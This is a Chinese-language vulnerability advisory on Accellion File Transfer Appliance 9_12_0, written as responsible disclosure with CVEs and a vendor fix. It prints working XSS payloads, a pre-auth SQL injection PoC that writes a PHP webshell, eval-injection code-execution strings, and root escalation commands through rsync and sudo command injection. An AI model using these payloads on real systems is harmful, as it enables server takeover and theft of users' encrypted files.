By Orange Tsai
Accellion FTA 介紹
Accellion File Transfer Appliance (以下簡稱 FTA) 為一款安全檔案傳輸服務,可讓使用者線上分享、同步檔案,且所有檔案皆經 AES 128/256 加密,Enterprise 版本更支援 SSL VPN 服務並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制。
漏洞描述
在研究過程中,於 FTA 版本 FTA_9_12_0 (13-Oct-2015 Release) 上,發現了下列弱點:
- Cross-Site Scripting x 3
- Pre-Auth SQL Injection leads to Remote Code Execution
- Known-Secret-Key leads to Remote Code Execution
- Local Privilege Escalation x 2
以上弱點可使不需經過認證的攻擊者,成功遠端攻擊 FTA 伺服器並取得最高權限,當攻擊者完全控制伺服器後,可取得伺服器上的加密檔案與用戶資料等。
弱點經回報 CERT/CC 後取得共四個獨立 CVE 編號 (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353)。
影響範圍
根據公開資料掃描,全球共發現 1217 台 FTA 存活主機,主要分布地點為美國,其次加拿大、澳洲、英國與新加坡。根據存活主機的域名、SSL Certificate 發現 FTA 使用客戶遍及政府、教育、企業等領域,其中不乏一些知名品牌。
漏洞分析與利用
Multiple Cross-Site Scripting (CVE-2016-2350)
1. XSS in move_partition_frame.html
https://<fta>/courier/move_partition_frame.html
?f2=’-prompt(document.domain);//
2. XSS in getimageajax.php
https://<fta>/courier/web/getimageajax.php
?documentname=”onerror=”prompt(document.domain)//
3. XSS in wmInfo.html
https://<fta>/courier/web/wmInfo.html
?msg=ssologout
&loginurl=”><svg/onload=”prompt(document.domain)
Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)
經過代碼審查後,在 FTA 中發現一個不須驗證的 SQL Injection,這使得惡意使用者可透過 SQL Injection 存取伺服器的敏感檔案及個人資料,並配合權限設定問題導致遠端代碼執行。問題出在 security_key2.api 中所呼叫到的 client_properties( ... )
函數中!
/home/seos/courier/security_key2.api
// ...
$password = _decrypt( $password, _generate_key( $g_app_id, $client_id, $g_username ) );
opendb();
$client_info = client_properties( $client_id )[0];
// ...
其中 $g_app_id
$g_username
$client_id
$password
皆為攻擊者可控參數,雖然有個 _decrypt( ... )
函數對密碼進行處理,但是與弱點觸發並無相關。其中要注意是 $g_app_id
的值會被代入成全域變數,代表當前使用的 Application ID,並且在 opendb( )
使用,其中在 opendb( )
內有以下代碼:
mysql_select_db
中所開啟資料庫的名稱由使用者可控,如給錯誤的值將導致程式無法繼續執行下去,所以必須將 $g_app_id
偽造成正確的內容。
接著是最主要的函數 client_properties( $client_id )
function client_properties($client_id = '', $user = '', $manager = '', $client_type = 0, $client_name = '', $order_by = 'client_id', $order_type = 'a', $limit = '', $offset = '', $exclude_del = 1, $user_type = '', $user_status = '') {
$sql = ($user_type = '' ? 'SELECT t_mail_server.* FROM t_mail_server ' : 'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');
$filter['client_id'] = $client_id;
$filter['client_name'] = $client_name;
$filter['client_type'] = $client_type;
$filter['user'] = mysql_escape_like( $user );
$filter['user_type'] = $user_type;
$filter['manager'] = $manager;
$filter['user_status'] = $user_status;
$sql &= construct_where_clause( $filter, $exclude_del );
// ...
$result = array( );
@mysql_query( $sql );
( $db_result = || fatal_error( 'exec:mysql_query(' . $sql . ') respond:' . mysql_error( ), __FILE__, 221 ) );
function construct_where_clause($filter, $exclude_del = 1) {
$where_clause = array( );
$where_clause[] = 'c_server_id != \'999\'';
if ($exclude_del) {
$where_clause[] = '!(t_mail_server.c_flag & ' . CLIENT_DELETED . ')';
}
if ($filter['client_id'] != '') {
$where_clause[] = 'c_server_id = \'' . $filter['client_id'] . '\'';
}
if ($filter['manager'] != '') {
$filter['manager'] = mysql_real_escape_string( $filter['manager'] );
$where_clause[] = 'c_manager = \'' . $filter['manager'] . '\'';
}
if ($filter['client_name'] != '') {
$filter['client_name'] = mysql_real_escape_string( $filter['client_name'] );
$where_clause[] = 't_mail_server.c_name LIKE \'%' . $filter['client_name'] . '%\'';
}
if (( $filter['user'] != '' && $filter['user'] != '%%' )) {
$filter['user'] = mysql_real_escape_string( $filter['user'] );
$where_clause[] = 't_mail_server.c_user_id LIKE \'' . $filter['user'] . '\'';
}
client_properties( ... )
中會將所傳進的參數進行 SQL 語句的拼裝,而 construct_where_clause( ... )
為最關鍵的一個函數。
在 construct_where_clause( ... )
中可以看到參數皆使用 mysql_real_escape_string
來防禦但唯獨缺少 $client_id
,從原始碼的 Coding Style 觀察猜測應該是開發時的疏忽,因此根據程式流程送出對應的參數即可觸發 SQL Injection。
此外,在 FTA 中資料庫使用者為 root 具有 FILE_PRIV 權限,因此可使用 INTO OUTFILE
撰寫自己 PHP 代碼至可寫目錄達成遠端代碼執行!
PoC
$ curl https://<fta>/courier/[email protected]/security_key2.api -d "aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"
生成的 PHP 檔案位置在
http://<fta>/courier/themes/templates/.cc.php
Known Secret-Key leads to Remote Code Execution
在前個弱點中,要達成遠端代碼執行還有一個條件是要存在可寫目錄,但現實中有機率找不到可寫的目錄放置 Webshell,因此無法從 SQL Injection 達成代碼執行,不過這時有另外一條路可以幫助我們達成遠端代碼執行。
這個弱點的前提條件是 已知資料庫中所存的加密 KEY
這點對我們來說不是問題,從前面的 SQL Injection 弱點可任意讀取資料庫內容,另外雖然在程式碼中有對參數進行一些過濾,但那些過濾是可以繞過的!
/home/seos/courier/sfUtils.api
$func_call = decrypt( $_POST['fc'] );
$orig_func = '';
if (preg_match( '/(.+)\(.*\)/', $func_call, $func_match )) {
$orig_func = $func_call;
$func_call = $func_match[1];
}
$cs_method = array( 'delete_session_cache', 'delete_user_contact', 'valid_password', 'user_password_update_disallowed', 'user_password_format_disallowed', 'get_user_contact_list', 'user_email_verified', 'user_exist_allow_direct_download', 'user_profile_auth' );
if (( !$func_call || !in_array( $func_call, $cs_method ) )) {
return false;
}
if ($orig_func) {
$func_call = $orig_func;
}
if ($func_call == 'get_user_contact_list') {
if (!$_csinfo['user_id']) {
return false;
}
if (preg_match( '/[\\\/"\*\:\?\<\>\|&]/', $_POST['name'] )) {
return false;
}
$func_call = 'echo(count(' . $func_call . '("' . $_csinfo['user_id'] . '", array("nickname"=>"' . addslashes( $_POST['name'] ) . '"))));';
} else {
if (isset( $_POST['p1'] )) {
$func_param = array( );
$p_no = 7;
while (isset( $_POST['p' . $p_no] )) {
$func_param[] = str_replace( '\'', '\\\'', str_replace( '$', '\\$', addslashes( $_POST['p' . $p_no] ) ) );
++$p_no;
}
$func_call = 'echo(' . $func_call . '("' . join( '", "', $func_param ) . '"));';
}
}
echo @eval( $func_call );
如果已知加密 KEY 的話,即可控制 decrypt( $_POST[fc] )
的輸出,而後面的正規表示式雖然針對函數名稱進行白名單過濾,但是沒對參數進行過濾,如此一來我們可以在參數的部分插入任意代碼,唯一的條件就是不能有 (
)
出現,但由於 PHP 的鬆散特性,玩法其實很多,這裡列舉兩個:
直接透過反引號執行系統指令:
user_profile_auth(`$_POST[cmd]`);
更優雅的方式可以透過 include 語法引入上傳檔案的 tmp_name,這樣各種保護都不用擔心:
user_profile_auth(include $_FILES[file][tmp_name]);
Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)
在取得 PHP 網頁權限後,發現所屬權限為 nobody,為了進行更深入的研究,在對環境進行審視後,發現兩個可用來提升權限之弱點。
1. Rsync 配置錯誤
/etc/opt/rsyncd.conf
log file = /home/soggycat/log/kennel.log
...
[soggycat]
path = /home/soggycat
uid = soggycat
read only = false
list = false
...
其中模組名稱 soggycat 對 /home/soggycat/
為任何人可讀可寫,所以可將 SSH Key 寫至 /home/soggycat/.ssh/ 後以 soggycat 身分登入
bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
bash-3.2$ rsync 0::soggycat/.ssh/
drwx------ 4096 2016/01/29 18:13:41 .
-rw-r--r-- 606 2016/01/29 18:13:41 authorized_keys
bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys .
bash-3.2$ cat id_dsa.pub >> authorized_keys
bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/
bash-3.2$ ssh -i id_dsa -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no [email protected] id
Could not create directory '/.ssh'.
Warning: Permanently added '0,0.0.0.0' (RSA) to the list of known hosts.
uid=520(soggycat) gid=99(nobody) groups=99(nobody)
2. Command Injection in “yum-client.pl”
在 FTA 中,為了使系統可以直接透過網頁介面進行更新,因此在 sudoers 配置中特別針對 nobody 用戶允許直接使用 root 權限執行指令,並透過 yum-client.pl
這隻程式進行軟體更新
/etc/sudoers
...
Cmnd_Alias YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias YUM_CLIENT = /usr/local/bin/yum-client.pl
...
# User privilege specification
root ALL=(ALL) ALL
admin ALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobody ALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycat ALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radmin ALL =NOPASSWD: RESET_APPL
...
其中 YUM_CLIENT 就是進行更新的指令,部分代碼如下:
/usr/local/bin/yum-client.pl
...
GetOptions (
'help' => \$help,
'download_only' => \$download_only,
'list' => \$list,
'cache' => \$cache,
'clearcache' => \$clearcache,
'cdrom=s' => \$cdrom,
'appid=s' => \$appid,
'servername=s' => \$servername,
'version=s' => \$version,
'token=s' => \$token);
my $YUM_CMD = "/usr/bin/yum";
if ($cache){
$YUM_CMD = "$YUM_CMD -C";
}
# if this is based on RHEL 5, change the repository
my $OS = `grep -q 5 /etc/redhat-release && echo -n 5`;
my $LOGFILE = "/home/seos/log/yum-client.log";
my $STATUSFILE = "/home/seos/log/yum-client.status";
my $YUMCONFIG = "/etc/yum.conf";
my $YUMDIFF_FILE = '/home/seos/log/yum.diff';
if ($cdrom){
if ($OS eq "5"){
$YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf-5";
}else{
$YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf";
}
system("mkdir -p /mnt/cdrom && mount -o loop $cdrom $cdrom_path") == 0 or fdielog($LOGFILE,"unable to mount: $!");
}
深入觀察 yum-client.pl
後可發現在 --cdrom
參數上存在 Command Injection,使得攻擊者可將任意指令插入參數內並以 root 身分執行
所以使用如下指令:
bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'
mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.
bash-3.2$ cat /tmp/.gg
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
後門
在取得最高權限後,開始對伺服器進行一些審視時,發現已有幾款後門藏在 FTA 主機中了,經過研究後首先確認一款 IRC BOT 為 Niara 所發布的 弱點報告 中有提及,此外,額外發現兩款不同類型的 PHP Webshell 並無在公開的報告中發現,透過 Apache Log 時間推測應該是透過 2015 年中的 CVE-2015-2857 所放置之後門。
PHPSPY 後門,全球 1217 台存活主機上共發現 62 台,放置路徑於:
https://<fta>/courier/themes/templates/Redirector_Cache.php
WSO 後門,全球 1217 台存活主機上共發現 9 台,放置路徑於:
https://<fta>/courier/themes/templates/imag.php
致謝
這份 Advisory 所提及的弱點為在 2016 二月時參加 Facebook Bug Bounty 時尋找到的,詳情可參考文章《滲透 Facebook 的思路與發現》,找到弱點的當下立即回報包括 Accellion 及 Facebook,Accellion 並在 2/12 號將此份弱點記錄在 FTA_9_12_40 並通知所有受影響的客戶安裝修補程式。
感謝 Facebook 以及 Accellion 的迅速反應跟配合 : )
Timeline
- 2016/02/06 05:21 聯絡 Accellion 詢問何處可回報弱點
- 2016/02/07 12:35 將報告寄至 Accellion Support Team
- 2016/03/03 03:03 Accellion Support Team 通知會在 FTA_9_12_40 修復
- 2016/05/10 15:18 詢問將撰寫 Advisory 許可及通知發現兩款後門存在
- 2016/06/06 10:20 雙方討論定稿